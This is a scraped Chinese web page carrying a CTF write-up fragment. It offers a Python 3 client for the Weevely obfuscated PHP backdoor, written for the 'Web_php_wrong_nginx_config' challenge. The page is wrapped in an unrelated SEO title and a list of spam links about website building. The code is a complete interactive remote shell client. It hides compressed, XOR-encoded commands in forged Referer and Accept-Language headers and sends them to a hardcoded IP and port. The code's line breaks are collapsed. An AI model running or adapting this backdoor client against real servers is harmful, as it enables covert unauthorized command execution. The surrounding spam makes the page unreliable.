当前位置: 首页 > news >正文

鹿泉区城乡建设局网站重庆森林百度云

鹿泉区城乡建设局网站,重庆森林百度云,建设通破解版,餐饮网站建设研究问题网上的wp中关于Web_php_wrong_nginx_config的后门代码都是python2的(源码来自:Weevely:一个 PHP 混淆后门的代码分析 - Phukers Blog) 以下是转换成python3的版本 # encoding: utf-8from random import randint, choice from ha…

 网上的wp中关于Web_php_wrong_nginx_config的后门代码都是python2的(源码来自:Weevely:一个 PHP 混淆后门的代码分析 - Phuker's Blog)

以下是转换成python3的版本

# encoding: utf-8from random import randint, choice
from hashlib import md5
import urllib.parse
import string
import zlib
import base64
import requests
import redef choicePart(seq, amount):length = len(seq)if length == 0 or length < amount:print('Error Input')return Noneresult = []indexes = []count = 0while count < amount:i = randint(0, length - 1)if i not in indexes:indexes.append(i)result.append(seq[i])count += 1if count == amount:return resultdef randBytesFlow(amount):result = b''for i in range(amount):result += bytes([randint(0, 255)])return resultdef randAlpha(amount):result = ''for i in range(amount):result += choice(string.ascii_letters)return resultdef loopXor(text, key):result = b''lenKey = len(key)lenTxt = len(text)iTxt = 0while iTxt < lenTxt:iKey = 0while iTxt < lenTxt and iKey < lenKey:result += bytes([key[iKey] ^ text[iTxt]])iTxt += 1iKey += 1return resultdef debugPrint(msg):if debugging:print(msg)# config
debugging = False
keyh = "42f7"  # $kh
keyf = "e9ac"  # $kf
xorKey = keyh + keyf
url = 'http://61.147.171.105:51610/hack.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d', 'zh-HK;q=0.%d', 'en-US;q=0.%d', 'en;q=0.%d']
proxies = None  # {'http':'http://127.0.0.1:8080'} # proxy for debugsess = requests.Session()
# generate random Accept-Language only once each session
langTmp = choicePart(languages, 3)
indexes = sorted(choicePart(range(1, 10), 3), reverse=True)
acceptLang = [defaultLang]
for i in range(3):acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)
init2Char = acceptLang[0][0] + acceptLang[1][0]  # $i
md5head = (md5((init2Char + keyh).encode('utf-8')).hexdigest())[0:3]
md5tail = (md5((init2Char + keyf).encode('utf-8')).hexdigest())[0:3] + randAlpha(randint(3, 8))
debugPrint('$i is %s' % (init2Char,))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))
# Interactive php shell
cmd = input('phpshell > ')
while cmd != '':# build junk data in refererquery = []for i in range(max(indexes) + 1 + randint(0, 2)):key = randAlpha(randint(3, 6))value = base64.urlsafe_b64encode(randBytesFlow(randint(3, 12))).decode('utf-8')query.append((key, value))debugPrint('Before insert payload:')debugPrint(query)debugPrint(urllib.parse.urlencode(query))# encode payloadpayload = zlib.compress(cmd.encode('utf-8'))payload = loopXor(payload, xorKey.encode('utf-8'))payload = base64.urlsafe_b64encode(payload).decode('utf-8')payload = md5head + payload# cut payload, replace into referercutIndex = randint(2, len(payload) - 3)payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)iPiece = 0for i in indexes:query[i] = (query[i][0], payloadPieces[iPiece])iPiece += 1referer = url + '?' + urllib.parse.urlencode(query)debugPrint('After insert payload, referer is:')debugPrint(query)debugPrint(referer)# send requestr = sess.get(url, headers={'Accept-Language': acceptLangStr, 'Referer': referer}, proxies=proxies)html = r.textdebugPrint(html)# process responsepattern = re.compile(r'<%s>(.*)</%s>' % (xorKey, xorKey))output = pattern.findall(html)if len(output) == 0:print('Error,  no backdoor response')cmd = input('phpshell > ')continueoutput = output[0]debugPrint(output)output = base64.b64decode(output.encode('utf-8'))output = loopXor(output, xorKey.encode('utf-8'))output = zlib.decompress(output).decode('utf-8')print(output)cmd = input('phpshell > ')

http://www.yayakq.cn/news/256495/

相关文章:

  • wap网站 链接微信3d建模需要什么学历
  • wordpress大前端1.9百度手机seo软件
  • 房屋中介网站模板天眼在线查企业查询
  • 佛山优秀网站建设网站建设捌金手指花总十一
  • 做旅游网站的论文专业网站优化哪家好
  • 百度快照 如何抓取网站pc网站和移动网站
  • 网站推广广告词大全集网页设计图片锚点链接怎么做html
  • 前端外包网站有没有什么做热力图的图表网站
  • dw课设做网站苏州网站开发培训班
  • 网站轮播图片特效瓯海建设网站
  • 做业务 哪个网站比较好庆阳定制网站
  • 速成网站建设快速优化关键词排名
  • 南京做网站公司哪家好广告公司加盟代理哪家好
  • 广东住房城乡建设厅网站网站建设 三合一
  • 数据型网站 建设方案asp.net 手机网站开发
  • 网站设计与开发实验报告河南建设工程协会网站
  • 无锡建设厅的官方网站网站怎么管理维护
  • wordpress 页面排序排名seo公司
  • 网站开发要什么专业静态网站被挂马
  • 无锡市住房建设局网站旅游网站建设外现状
  • 郑州做网站九零后2018年的网站制作
  • 河南省住房和建设厅门户网站江西建设城乡网站查询
  • 网站的特征浦江网站建设微信开发
  • 网站开发项目外包微网站模板建设的选择
  • 涂料网站模板自己做网站制作教程
  • 怎么样做一家卖东西的网站微官网制作
  • 网站建设相关问题黄骅港开发区
  • 做淘宝那样的网站麻烦吗网站运营主要是做什么
  • 网站建设课程下载江苏省建设工程集团
  • 如何在手机上建立自己的网站亚马逊海外版网站